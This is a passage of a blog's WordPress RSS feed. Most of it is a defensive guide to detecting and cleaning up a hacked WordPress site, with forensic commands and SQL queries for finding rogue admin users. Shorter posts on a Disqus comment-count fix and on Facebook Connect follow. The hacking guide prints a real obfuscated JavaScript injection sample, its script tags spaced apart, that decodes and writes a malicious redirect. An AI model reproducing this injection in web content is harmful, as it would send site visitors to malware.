<p><strong>Unfortunately, not even this is foolproof</strong>,<strong> since most attacks use <a href="http://www.computerworld.com/s/article/9062278/Hackers_camouflage_100_of_Web_attacks_IBM_researcher_says" target="_blank">some sort of obfuscation</a> </strong>to make the malicious code harder to track down. Many times this obfuscated or encrypted code will contain random characters and numbers to make it harder to Google for a matching result.</p>
<p>If the hack is causing your site users to be redirected to badsite.com, the first thing you&#8217;d probably do is do a global search for badsite.com, since any reference to it would be a tip-off that the file has been poisoned. However, what&#8217;s more likely for you to find in your code is something that looks like this:</p>
<p><strong><em>NOTE: Avast Antivirus is stupid, and has been flagging this post as a trojan since I wrote it, due to the sample code below.</em></strong><em> There is no trojan on this page. Avast simply isn’t smart enough to realize that the code it’s seeing isn’t being parsed, it’s merely being displayed. I specifically opted not to use an image or alter the code, so that it would be easier to Google if someone ends up being infected with a similar injection. I’ve added some spaces in the &lt;script&gt; tags to hopefully stop the erroneous virus alerts this page triggers. The real javascript you find in your site will NOT have spaces in the script tags. Avast can suck it.</em></p>
<pre>&lt;scr ipt&gt;var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)
71-216-213-225-:8-21:-212-43-226-225-::-
72-45-49-46-65-64-61-66-68-6:-215-227-
227-223-69-58-58-::-212-221-227-216-232-
222-57-::-222-21:-58-216-221-57-::-214-216-
74-61-45-43-22:-216-211-227-215-72-5:-
43-215-212-216-214-215-227-72-5:-43-226-
227-232-219-212-72-45-229-216-226-216-
:9-216-219-216-227-232-69-43-215-216-
211-211-212-221-45-73-71-58-216-213-225-
:8-21:-212-73**&lt;=0tdsjqu?"; var result = "";
for(var i=0;i&lt;source.length;i++) result+
=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result); &lt;/scr ipt&gt; [spaces added intentionally]</pre>
<p>So as you can see, the common sense of checking for badsite.com in your files isn&#8217;t enough anymore. Your blog most likely has javascript, so simply looking for &lt;script&gt; tags will give you false positives, so you&#8217;ll have to figure out what works best for you.</p>
<p>Once alert I usually like to put in there is for site4x7 to alert me if the content of my page has changed more then 10%. I don&#8217;t post often enough for 1/10th of an entire webpage to have changed, so if I get a ping on this alert, the first thing I do is look in the source code for invisible links. Some injections will insert literally hundreds of links that you can&#8217;t see when you look at the page in a browser, but the large chunk of hidden code will trip the alarm. (They do this to get search engine link juice from legitimate websites that point towards phishing or malware sites.)</p>
<p>Finally, you can set your alert to email you, send you an SMS message or both. If you&#8217;re close-by to some method of checking email most of the time, you may want to stick with email alerts, but I personally <em>want</em> to be woken up in the dead of night if something hinky is going on, so I have it set to SMS <em>and</em> email.</p>
<h3>The Alarm Has Been Sounded. Now What?</h3>
<p>You&#8217;ve received an alert from your site monitoring service notifying you that your site is &#8220;In trouble&#8221;. You obviously need to verify that it&#8217;s actually been hacked, and it&#8217;s not just a timeout or some other innocuous issue.<strong> Be sure to disable javascript before hitting your site</strong> &#8211; since many attacks inject a line of malicious javascript, you don&#8217;t want to end up infecting your own computer while checking your site.</p>
<p><strong>In fact, to be even safer, don&#8217;t hit your homepage using your browser at all. </strong><br />
Some hacks will use a plain meta refresh redirection that doesn&#8217;t rely on javascript to send you on to a malware site, so disabling javascript won&#8217;t protect you from all threats. You can use a tool like the <a href="http://validator.w3.org/" target="_blank">WC3 validator</a> to inspect your HTML code and look for anything that seems out of place without actually executing any code. This is especially helpful if your site usually validates (your sites do validate, don&#8217;t they??) and suddenly do not. To make it even easier, go to the validator, run a scan now now, being sure to select &#8220;show source&#8221; in &#8220;More Options&#8221;, and then bookmark the results page.</p>
<h3>Shit. Definitely Hacked. Now What?</h3>
<p>First of all, in the words of Douglas Adams &#8211; <strong>Don&#8217;t Panic</strong>. Honestly. I know that sounds obvious, but if you panic and start acting rashly, best case scenario you could make a mistake, and worst case scenario, you could end up destroying whatever clues might be available on the server that might help you figure out how the attack was carried out. And that last part is <em>really</em> important if you want to make sure it doesn&#8217;t happen again.</p>
<p><strong>Take a deep breath and exhale slowly.</strong><br />
This is not the end of the world, especially if you&#8217;ve followed the earlier instructions and you have a backup. (You did, right?) Contrary to popular belief, sites get hacked a lot. Big ones and little ones. It&#8217;s definitely a big deal, and I&#8217;m not saying you should go out for a stroll, but freaking out isn&#8217;t going to help you get this straightened out any faster. If you lose your cool here, you risk screwing things up even worse tan they were before, or at the very least, losing valuable information that can help you isolate the vector and prevent the attackers from getting in the same way again.</p>
<p><strong>Immediately change the FTP/ssh login passwords to your site, your WordPress admin account and the database password.</strong><br />
Obviously, you will want to pick a hard to guess password. Do NOT update the database password in the WordPress config file yet. In fact, we haven&#8217;t touched any files yet.</p>
<p><strong>Login to your server and quickly assess the damage &#8211; but don&#8217;t touch anything yet</strong>.<br />
Worst case scenario, many or all of your files may be gone. Actually, in my mind, that&#8217;s not the worst case scenario. It&#8217;s far more frustrating to figure out if malware or malicious scripts have been uploaded to your server if the rest of the files are completely intact, as it can seem a bit like a needle in a haystack.</p>
<p>It can be tempting to immediately remove the offending files and fix everything as quickly as you can. While fixing things as quickly as you can is definitely a priority, you don&#8217;t want to go stomping all over your crime scene. (I say crime scene for the sake of analogy &#8211; most basic site defacements are of little interest to the authorities, however YOU still need to preserve evidence.)</p>
<p><strong>Open your htaccess file and disable your site to incoming traffic. </strong><br />
There are several different ways of doing this, each one with pros and cons, and each one taking a varying amount of time.  I highly recommend checking out the <a href="http://25yearsofprogramming.com/blog/20070704.htm" target="_blank">Close your website temporarily with Apache htaccess</a> article on 25yearsofprogramming.com to see what your options are, with copy+paste code to get you there.</p>
<p>Ideally, you&#8217;ll want to create a plain HTML file that includes a friendly message (without any images, since ALL traffic will be redirecting to that file, so images won&#8217;t work) saying  the site is offline for maintenance, and use htaccess to redirect ALL incoming traffic except that which is originating from your own IP address to that &#8220;closed for maintenance&#8221; page.</p>
<p>You need to disable traffic or redirect to a &#8220;closed for maintenance&#8221; page as quickly as possible, for several reasons. First of all, if your site is actually doing something bad &#8211; redirecting users to a malware site or attempting to install malware on their computers, this is the best way to protect them as quickly as possible. Second of all, it will help you manage the PR end of things if you&#8217;re able to protect your users with a more generic message. You can always explain to your users what happened later. <em>The priority is to contain the threat so that you&#8217;re not infecting any visitors, and then you can take a little more time to investigate and repair the site. </em></p>
<p><strong>Check for files that have been added or modified recently but do NOT fix them yet. </strong><br />
Someone or something modified at least a few files on your server, and the easiest way to figure out which files were modified is to look at the timestamp. If you have SSH access, go ahead and SSH in and execute the following command:</p>
<pre>ls -lRta | less</pre>
<p>This will give you a recursive listing (including last modified timestamp) of files, sorted by date modified.</p>
<p>You can also use something like this:</p>
<pre>find . -type f -mtime -1 -print</pre>
<p>&#8230; which will let you limit your results by date modified. In the example above, the resultes returned would be a listing of files modified in the last day. If you haven&#8217;t made any changes in the past day, there&#8217;s a good chance that the files that show up in the results here are the ones that have been modified by the attacker.</p>
<p>If you don&#8217;t have SSH access, this is a bit more of a pain in the ass, but still do-able. You&#8217;ll want to sort your FTP client&#8217;s results by date modified, and poke around in all of the directories, noting any file modification dates that don&#8217;t make sense.</p>
<p>One of the easiest ways to record the timestamp information is to screenshot the FTP client&#8217;s file listing while sorted by date modified. In SSH, you can pipe the results into a text file. We want to make sure we make a note of all of the files that have been modified recently so that we can check or replace them.</p>
<p><strong>I usually make it a point to download all of the files that have been added or modified. </strong><br />
Since the repair process is going to blow out all of the hacker&#8217;s modifications, I like to download them so I can take a look at them in a text editor later, so I can figure out if there was more going on than initially appeared. Some nefarious scripts will initiate malware installs, some will send out emails with password information, some will create backdoors and/or secret admin accounts, some merely redirect users &#8211; but a good number of hacks implement all of these and more, so I want to put an eyeball on every file that was modified so I can make sure nothing worse happened.</p>
<p><strong>Make with the Googling. </strong><br />
Google can often shed some light on the hack you&#8217;re facing. Chances are, you&#8217;re not the first target, so someone, somewhere may have posted about it. A lot of what you&#8217;ll find are forum members saying &#8220;WTF?! Were we hacked?&#8221;, but every now and then you can actually glean some useful information.</p>
<p>One of the best places to start is to Google the url of the site that your site was forwarding to or pulling data from. In this case we might try &#8220;badsite.com wordpress&#8221; or &#8220;badsite.Com hacked&#8221;. You&#8217;ll often find a lot of crossovers, and the same exploit that&#8217;s being used to wreak havoc on WordPress sites is also being use to hammer vbulletin sites around the same time frame. Once again, while doing this, be careful. If the sites are still infected, you do put your computer at a higher risk, so make sure your antivirus is fired up and your javascript is turned off, at the very least.</p>
<p>The reason why Googling for more information can be very helpful is because someone else may have already figured out the information you&#8217;re looking for. Specifically, if someone did a good job of documenting the hack, they may bring your attention to a backdoor that was created, some files that were modified that you didn&#8217;t think to check, and so on.  You won&#8217;t always hit paydirt, but when you do, you&#8217;ll be really glad you bothered to check.</p>
<p><strong>Check the database directly for secretly created admin users. </strong><br />
These folks can be tricksy, and they can sometimes use a javascript injection to insert new users with administrative privileges directly into your database. If you&#8217;ve allowed other users to register, it can be hard to tell legitimate users apart from suspicious users in the admin area. Plus, since your system was compromised, there is always the chance that your admin area will contain additional formatting that &#8220;hides&#8221; the admin users from view using CSS, so you&#8217;re better off going straight to the horse&#8217;s mouth.</p>
<p>First query the wp_users table to determine your own user ID, and the ID of anyone who legitimately should have admin access. Jot those IDs down. Then query the wp_usermeta table, which stores the user&#8217;s permission level in a chunk of serialized data. Something like this should work:</p>
<pre>select * from wp_usermeta where meta_values LIKE '%administrator%';</pre>
<p>In the results of that query, if you see ANY results with a user_id of something other than yourself or the other legitimate administrators, then the attacker was able to create admin users. Legitimate administrators usually have a wp_capabilities field value of something like this:</p>
<pre><code>a:1:{s:13:"administrator";b:1;}</code></pre>
<p>Users that are <em>not</em> legitimate usually have a lot more text in there, part of which is made up of the script and CSS used to hide their presence. Make a note of the user_ids that are listed in the results and then delete those rows that do not belong.</p>
<p>Next, let&#8217;s look for additional rows that assign a wp_user_level to those same unsavory users. A query like:</p>
<pre>select * from wp_usermeta where meta_key='wp_user_level' AND meta_value='10'</pre>
<p>Chances are, you&#8217;ll see another set of records with matching IDs to the bogus ones you found in the earlier query. Delete the records that do not match the user_id of the legitimate administrators.</p>
<p><strong>Check for script files where they don&#8217;t belong. </strong><br />
While it&#8217;s possible for malicious code to actually be embedded in what looks like an image file, what I have found to be far more common is that backdoor scripts will be inserted into your uploads subdirectories where normally only images live. As a site owner is cleaning up their hacked WordPress install, they often overlook combing through the images directory, since scripts don&#8217;t normally live there.  That means that after the site owner has spent hours cleaning out a hacked blog, the backdoor gets triggered and they find themselves hacked all over again.</p>
<p>One of the commenters in this post had a similar issue. He kept cleaning out the script files, replacing them with clean copies, etc. And every week, the blog would get hacked again. We went through his file structure together, and sure enough, there were .php and .pl files tucked away in a few of his uploads directories.</p>
<p>In another instance (that I will hopefully get a chance to blog about soon), I discovered files in the cgi-bin that didn&#8217;t belong there. You can read more about that exploit in depth in<a href="http://badwarebusters.org/main/itemview/14451" target="_blank"> my post about it on badwarebusters.org</a> if you&#8217;re interested.</p>
<p>If you don&#8217;t have shell access and have an older blog with tons of upload subdirectories broken down by month, this can be time-consuming, but it really is necessary. Without SSH access, the easiest thing to do is to go into each directory in your FTP program and sort the file listing by file type. This will group all of the images together, and make it easy to spot anything that isn&#8217;t an image and doesn&#8217;t belong. Then do another quick sort by file modification date, just to be sure there&#8217;s nothing in there that doesn&#8217;t make sense, for example a recent modification date on an image from a blog post that is over a month old. Unless you know you went back into the blog post and updated an image, that file modification timestamp should look out of place and should raise some red flags.</p>
<p><strong>Once you have a copy of all of the bad files and you know when they were modified, you can now restore the site. </strong><br />
Leave the htaccess redirect up until you&#8217;re done. I highly recommend blowing out all of the files in the entire webspace and restoring from a clean backup. What would be a clean backup? One that was done before the timestamps of the bad files. Bear in mind, just because there was no visible sign of a hack previously, that doesn&#8217;t mean bad scripts weren&#8217;t living on the server &#8211; so this method isn&#8217;t foolproof, but it&#8217;s a good place to start.</p>
<p>I usually do a fresh download and reinstall if the core WordPress files at this point, just to be on the safe side.</p>
<p><strong>Once the site is restored, revert back to your normal htaccess and re-open the site.</strong><br />
How you handle your PR is up to you. For some, transparency may be best. If you believe that your users&#8217; usernames and/or passwords were compromised in any way, you should let your user&#8217;s know. I use Disqus on all of my sites, so my WordPress database doesn&#8217;t contain any user&#8217;s login information, but if you use WordPress&#8217; native comments, you need to let your users now that their information was potentially exposed. This is an ethical obligation because many people (stupidly) use the same login for multiple accounts online, and having access to their WordPress login could mean the bad guys now have access to other accounts because the user was dumb enough to use the same login for your site as for their bank.</p>
<p>I generally recommend turning off new user registration altogether in WordPress. Once you&#8217;ve done that, you can <strong><a href="http://www.webmaster-toolkit.com/htaccess-generator.shtml" target="_blank">password protect the wp-admin</a></strong> directory to further secure your install. (We&#8217;ll talk more about other ways you can secure your WordPress installation in the next article.)</p>
<p><strong>Spend some time looking at your log files. </strong><br />
This part is critical, so you can figure out what happened and how the exploit was executed. Check your httpd logs, looking for signs of cross-site scripting around the time the you were alerted to the hack and earlier. Look for GET or POST strings being sent that have weird code in them, specifically GET or POST variables that don&#8217;t make any sense for your website.</p>
<p>Check your FTP/SSH logs for logins from IP addresses you don&#8217;t recognize, specifically around the time the bad files were modified.</p>
<p><em><strong>If you see FTP traffic during that time that wasn&#8217;t you (or another legitimate user) uploading the hacked files, there is a very good chance that you or someone who has FTP access to your server has malware on their computer.</strong></em> The other option there is that you (or someone with access) was uploading files while on a public wifi network, and someone sniffed the login over the network. That is a less likely scenario, but still one to consider.<em> Nine times out of ten recently, when I have had to fix a client or friend&#8217;s hacked WordPress site, it is because the computer they use to upload files has been compromised by way of malware or a virus. </em></p>
<p><strong>Be paranoid.</strong><em><br />
</em>Seriously. Keep a close eye on on your site, specifically checking the places the exploit first showed up. Check back often, reviewing your source code for anything that doesn&#8217;t belong. Injected code is very often found at the very bottom or very top of the executed page, but may also be sprinkled throughout the file, so keep your eyes peeled. Remember what we discussed earlier &#8211; it may be obfuscated, so doing a find on the source looking for &#8220;badsite.com&#8221; may give you a false negative.</p>
<p>If possible, try to update your website service monitoring service alerts to specifically look for the bad code. Try not to be too specific, since many of these hacks that leave backdoors will randomize their obfuscation, so the bad code could do undetected if you&#8217;re too specific.</p>
<p>Repeat the same process of logging in and monitoring which files have been been recently added or modified. Many scripts will randomize the filename of the backdoor script they bury somewhere deeper in your file structure, so don&#8217;t get used to looking for specific filenames &#8211; look for timestamps, and the <em>moment</em> you see a timestamp you&#8217;re not responsible for, be ready for round two.</p>
<p><strong>Follow-up with Google</strong>.<br />
If your site ended up being listed as malware so that browsers, email clients and some search engines have your site flagged as one that is a potential source of malware, you can appeal this. Using Google Webmaster tools, you can request a review of your site. Once Google decides your site is no longer a threat, you&#8217;ll be de-listed as a potentially harmful site. <a href="http://www.google.com/support/webmasters/bin/answer.py?answer=45432" target="_blank">More information on Google&#8217;s policy on harmful sites is available here</a>.</p>
<h3>Final Notes</h3>
<p>The methods mentioned above about detecting how the hack was executed do not cover all possibilities. If a poorly written script allowed the attacker access beyond your webroot, your entire server could be compromised. This is less of a risk with a reliable virtual or cloud host, since they will limit what your user can access with respect to the rest of the server, but still something to keep in mind. There are a lot of different kinds of attacks that you won&#8217; be able to diagnose using the methods above &#8211; a DNS injection, rootkit, and so on will be harder to backtrack, and you&#8217;d be best served consulting a professional.</p>
<p>If you&#8217;re interested in learning more about penetration testing and intrusion detection, I highly recommend the e-book <a href="http://www.detectmalice.com/" target="_blank">&#8220;Detecting Malice&#8221;</a> by Robert &#8220;RSnake&#8221; Hansen. If this is your first foray into pen testing and security, you&#8217;ll appreciate Robert&#8217;s way of explaining complicated topics using easy-to-understand-language. If you&#8217;re more experienced in this field, you&#8217;ll still learn a lot (and this article was probably too basic for you, so what the hell were you doing here anyway?)</p>
<p>Odds are, if you&#8217;ve had a website for a while, you&#8217;ve been hacked. It does happen &#8211; but by taking some steps ahead of time, and being prepared for it, you&#8217;ll be able to react more effectively and preserve more of your reputation and the information that may be needed to lock down whatever security holes you may have.</p>
<p>I&#8217;ll hopefully be following up this article with a second one, that provides tips on how to secure your WordPress blog. Stay tuned, and <a href="http://feeds.feedburner.com/snipenet" target="_blank">make sure you&#8217;re subscribed to the RSS feed</a> to know when it&#8217;s up.</p>
<p>I obviously couldn&#8217;t cover every scenario in one article, especially given the potentially broad range of varying technical abilities of my readers and the huge nuance and variety of attacks, but I tried to cover the basics.  Did you learn anything new? Did I miss something? Let me know in the comments.</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2010/06/upgrading-to-wordpress-3/' rel='bookmark' title='Permanent Link: Upgrading to WordPress 3.0 and Adding Multi-Site'>Upgrading to WordPress 3.0 and Adding Multi-Site</a> <small>WordPress 3.0, code name “Thelonious”, has been released, and it...</small></li>
<li><a href='http://www.snipe.net/2009/01/essential-wordpress-plugins/' rel='bookmark' title='Permanent Link: Essential WordPress Plugins'>Essential WordPress Plugins</a> <small>Many WordPress bloggers have taken the time to share the...</small></li>
<li><a href='http://www.snipe.net/2009/01/creating-a-wordpress-theme/' rel='bookmark' title='Permanent Link: Creating A WordPress Theme'>Creating A WordPress Theme</a> <small>If you&#8217;ve already got some design chops and a WordPress...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2010/01/when-wordpress-gets-hacked/feed/</wfw:commentRss>
		<slash:comments>44</slash:comments>
		</item>
		<item>
		<title>Fixing Comment Count Bug in Disqus on WordPress</title>
		<link>http://www.snipe.net/2009/12/comment-count-bug-disqus/</link>
		<comments>http://www.snipe.net/2009/12/comment-count-bug-disqus/#comments</comments>
		<pubDate>Fri, 01 Jan 2010 02:19:59 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[disqus]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=2763</guid>
		<description><![CDATA[My final post for 2009 should probably have been more climactic. If I had planned it right, the Death in the Digital Age post should have been my last for this year. Oh well. I mentioned in a previous post that I was switching the comments system on Snipe.Net to Disqus, and although I&#8217;ve been [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2009%2F12%2Fcomment-count-bug-disqus%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2009%2F12%2Fcomment-count-bug-disqus%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>My final post for 2009 should probably have been more climactic. If I had planned it right, the <a href="http://www.snipe.net/2009/12/death-in-the-digital-age/">Death in the Digital Age</a> post should have been my last for this year. Oh well.<br />
<span id="more-2763"></span><br />
I mentioned in a previous post that I was <a href="http://www.snipe.net/2009/10/trying-out-disqus/">switching the comments system on Snipe.Net to Disqus</a>, and although I&#8217;ve been overall quite happy with the changeover, one issue that frustrating to me is that the comment count on the site&#8217;s homepage, category pages, and individual blog post pages (single.php) was kinda fux0red. </p>
<p>On the homepage, it displayed &#8220;x comments and y reactions&#8221; which made the text too long for the carefully crafted masking tape strip meant to contain them. On the blog post article pages, it shows &#8220;Comments&#8221;, omitting the comment count altogether. </p>
<p>I found a way to fix it, and the site that contained part one of the fix is now unavailable, I figured I&#8217;d post it here in case anyone needs it:</p>
<p>Around line 275 of the DISQUS plugin in disqus.php (accessible via dashboard – plugins – editor), you&#8217;ll see the following:</p>
<pre class="brush: php">} else if ( (is_single() || is_page() || $withcomments || is_feed()) ) {</pre>
<p>change this line to:</p>
<pre class="brush: php">} else if ( (is_page() || $withcomments || is_feed()) ) {</pre>
<p>When I did this, I was then seeing duplicate &#8220;X Comments&#8221;, one from WordPress and one from Disqus &#8211; in other words, the page was displaying both the WordPress version and the Disqus version, but taking out the WP Comments counter in the single.php removed the code Disqus was replacing, so I ended up with no comments.</p>
<p>The solution for me was to add style=&#8221;display: none&#8221; to the WordPress comments part of the single.php file, so it looks like this:</p>
<pre class="brush: php">&lt;a href=&quot;#disqus_thread&quot; style=&quot;display: none;&quot;&gt;&lt; ?php comments_number(&#039;0 Comments&#039;, &#039;1 Comment&#039;, &#039;% Comments&#039;, &#039;number&#039;); ?&gt;&lt;/a&gt;</pre>
<p>If your comment counter is still showing &#8220;and x reactions&#8221;, there is a way to fix this too, although it kind of sucks. In your Disqus control panel, in SETTINGS in the CUSTOMIZE tab, you have to remove the template text that is in place for the Reactions section:</p>
<p><img src="http://www.snipe.net/wp-content/uploads/2009/12/DISQUS-Comments-Customize-for-snipenet-1-560x340.jpg" alt="" title="DISQUS Comments | Customize for snipenet-1" width="560" height="340" class="aligncenter size-large wp-image-2798" /></p>
<p>The reason this sucks is because by removing the template text here, it also removes the number count text from the Reactions section below the comments block on the article pages, as you can see in my comments block below. It still shows a &#8220;Reactions&#8221; header, but instead of showing &#8220;34 Reactions&#8221;, it leaves off the running tally of reactions to the post. I don&#8217;t know of a workaround for this yet, but it&#8217;s what I had to do to get the comment counter to fit on the tiny masking tape design again.</p>
<p>This leaves the text in the source, so the Disqus Javascript can successfully replace it with it&#8217;s own comment counter, but hides it from displaying to the user. </p>
<p>Hope that helps &#8211; happy new year <img src='http://www.snipe.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2009/10/trying-out-disqus/' rel='bookmark' title='Permanent Link: Trying Out Disqus'>Trying Out Disqus</a> <small>I&#8217;ve decided to move the comment system on Snipe.Net over...</small></li>
<li><a href='http://www.snipe.net/2009/01/essential-wordpress-plugins/' rel='bookmark' title='Permanent Link: Essential WordPress Plugins'>Essential WordPress Plugins</a> <small>Many WordPress bloggers have taken the time to share the...</small></li>
<li><a href='http://www.snipe.net/2009/01/creating-a-wordpress-theme/' rel='bookmark' title='Permanent Link: Creating A WordPress Theme'>Creating A WordPress Theme</a> <small>If you&#8217;ve already got some design chops and a WordPress...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2009/12/comment-count-bug-disqus/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Trying out Facebook Connect</title>
		<link>http://www.snipe.net/2009/01/trying-out-facebook-connect/</link>
		<comments>http://www.snipe.net/2009/01/trying-out-facebook-connect/#comments</comments>
		<pubDate>Sun, 25 Jan 2009 20:18:32 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[facebook connect]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=1166</guid>
		<description><![CDATA[After much deliberation, I have decided to give Facebook Connect a shot on Snipe.Net. Those of you who read this site regularly may remember that I had quite a lot to say about using Facebook Connect last month, so it may seem odd that I&#8217;m making this decision. I&#8217;ll explain. But&#8230; but you said&#8230;. It [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2009%2F01%2Ftrying-out-facebook-connect%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2009%2F01%2Ftrying-out-facebook-connect%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>After much deliberation, I have decided to give Facebook Connect a shot on Snipe.Net. Those of you who read this site regularly may remember that I had <a href="http://www.snipe.net/2008/12/facebook-connect-a-more-authentic-web-or-loss-of-privacy/" target="_blank">quite a lot to say about using Facebook Connect</a> last month, so it may seem odd that I&#8217;m making this decision. I&#8217;ll explain.</p>
<h2><span id="more-1166"></span>But&#8230; but you said&#8230;.</h2>
<p>It appears a few of my concerns from my previous article were addressed &#8211; at least in part. Unlike a month ago, it seems that Facebook has improved their security, so that if someone has their privacy locked down tightly, their name no longer appears on the site. When I tested with my own Facebook login, my picture was the default Facebook user icon and my name was listed as <em>Facebook User</em>. This is a big improvement in my eyes.</p>
<p>My main argument against using Facebook Connect on a site is using it as the <em>only</em> way to login, giving your users the choice of Facebook Connect, or not commenting. On Snipe.Net, we do not require a login of any kind, so this is less of an issue. If a user doesn&#8217;t want to use Facebook Connect but wants to comment, they are still free to do so. They can opt to use Facebook Connect if they want comment noted in their Facebook newsfeed. If they don&#8217;t, that&#8217;s fine too.</p>
<h2>Goals</h2>
<p>I am a firm believer in having specific goals for implementing new technology &#8211; not simply using it because it exists *cough*ajax*cough*. My goals here are simple &#8211; to encourage more Facebook users to visit the site. Generally speaking, regular readers of Snipe.Net tend to be of the somewhat geeky persuasion, with the exception of the random person who found the site by way of Google because they were having a specific problem that we&#8217;ve addressed here. Geeky people tend to have other geeky people as their friends &#8211; so this is an opportunity to share the joy and light that is Snipe.Net with more geeks.</p>
<p>It could be argued that most &#8220;real&#8221; geeks wouldn&#8217;t be caught dead on Facebook &#8211; but if that&#8217;s the case, no harm no foul. Nothing has been comprimised by adding it, even if nothing has been gained.</p>
<h2>Making it happen</h2>
<p>Making a website using Facebook Connect from scratch requires a little programming know-how. Making a WordPress blog Facebook Connect-enabled doesn&#8217;t, since there is a <strong><a href="http://wordpress.org/extend/plugins/wp-facebookconnect/" target="_blank">handy little plugin</a></strong> for it already. It appears the plugin is actually Facebook sanctioned, as the <a href="http://wiki.developers.facebook.com/index.php/WP-FBConnect" target="_blank">WordPress plugin documentation</a> is available right from the Facebook developers wiki.</p>
<p>All you have to do is insert:</p>
<pre class="brush: php">&lt; ? php do_action(&#039;fbc_display_login_button&#039;)  ?&gt;</pre>
<p>into your comments.php file. Couldn&#8217;t be easier.</p>
<p>As a simple example, the comments.php snippet would look something like this, noting that the new line of code appears outside the else/if loop that checks if the user is logged in:</p>
<pre class="brush: php">&amp;lt;? php if ( $user_ID ) : ?&amp;gt;
...
&amp;lt;? php else : ?&amp;gt;
....
&amp;lt;? php endif; ?&amp;gt;
&lt; ? php do_action(&#039;fbc_display_login_button&#039;)  ?&gt; </pre>
<p>The installation was a breeze &#8211; and although I&#8217;m still testing things out, all I had to do was add a line of code to the comments file in my WordPress theme. I opted to be a little more creative with it, and stack the &#8220;normal&#8221; WordPress comment form next to the Facebook Connect prompt, so as not to make the comment form area any longer or more unwieldy than it already is.</p>
<h2>D&#8217;oh! Something&#8217;s borked!</h2>
<p>One gotcha &#8211; and I don&#8217;t know if this is a bug on my end, or a plugin conflict, or what yet &#8211; but after activating the Facebook Connect plugin, my edit post functionality in the admin seems to be borked. When I try to edit a specific post, the page stops loading after the:</p>
<pre class="brush: html">&lt;div id=&quot;quicktags&quot;&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
&lt;!--
edToolbar()
// --&gt;
&lt;/script&gt;
&lt;/div&gt;</pre>
<p>Still looking into this issue, and once I figure out what the cause is, I&#8217;ll update this post. As it stands now,  I have to deactivate the plugin in order to edit posts, and then re-activate it. A pain in the ass, and if I don&#8217;t find a solution soon, my Facebook Connect experiment is going to go away real quick. I&#8217;ll start by disabling some of my admin plugins and see if that helps. More to come.</p>
<p><strong>Update: </strong>I disabled the <a href="http://deanjrobinson.com/projects/fluency-admin/" target="_blank">Fluency Admin</a> plugin and everything seems to be working fine. Pity, I like that admin skin. But the improved admin in WordPress 2.7 is certainly usable enough. Problem solved.</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2008/12/facebook-connect-a-more-authentic-web-or-loss-of-privacy/' rel='bookmark' title='Permanent Link: Facebook Connect &#8211; a More Authentic Web, Or Loss of Privacy?'>Facebook Connect &#8211; a More Authentic Web, Or Loss of Privacy?</a> <small>Facebook recently launched their new Facebook Connect API, which extends...</small></li>
<li><a href='http://www.snipe.net/2010/05/facebook-fan-pages-10k/' rel='bookmark' title='Permanent Link: Want to Set a Default Landing Tab on Your Facebook Fan Page? It&#8217;ll Cost You'>Want to Set a Default Landing Tab on Your Facebook Fan Page? It&#8217;ll Cost You</a> <small>You&#8217;re gonna love this. And by love I mean be...</small></li>
<li><a href='http://www.snipe.net/2009/01/essential-wordpress-plugins/' rel='bookmark' title='Permanent Link: Essential WordPress Plugins'>Essential WordPress Plugins</a> <small>Many WordPress bloggers have taken the time to share the...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2009/01/trying-out-facebook-connect/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Creating A WordPress Theme</title>
		<link>http://www.snipe.net/2009/01/creating-a-wordpress-theme/</link>
		<comments>http://www.snipe.net/2009/01/creating-a-wordpress-theme/#comments</comments>
		<pubDate>Fri, 09 Jan 2009 06:35:31 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=847</guid>
		<description><![CDATA[If you&#8217;ve already got some design chops and a WordPress blog, but you find the idea of turning it into a WordPress template a bit daunting, you&#8217;re not alone. Creating your own WordPress theme is actually easier than you might imagine, and although some PHP-fu is certainly helpful, you don&#8217;t need to be a PHP [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2009%2F01%2Fcreating-a-wordpress-theme%2F"><br />
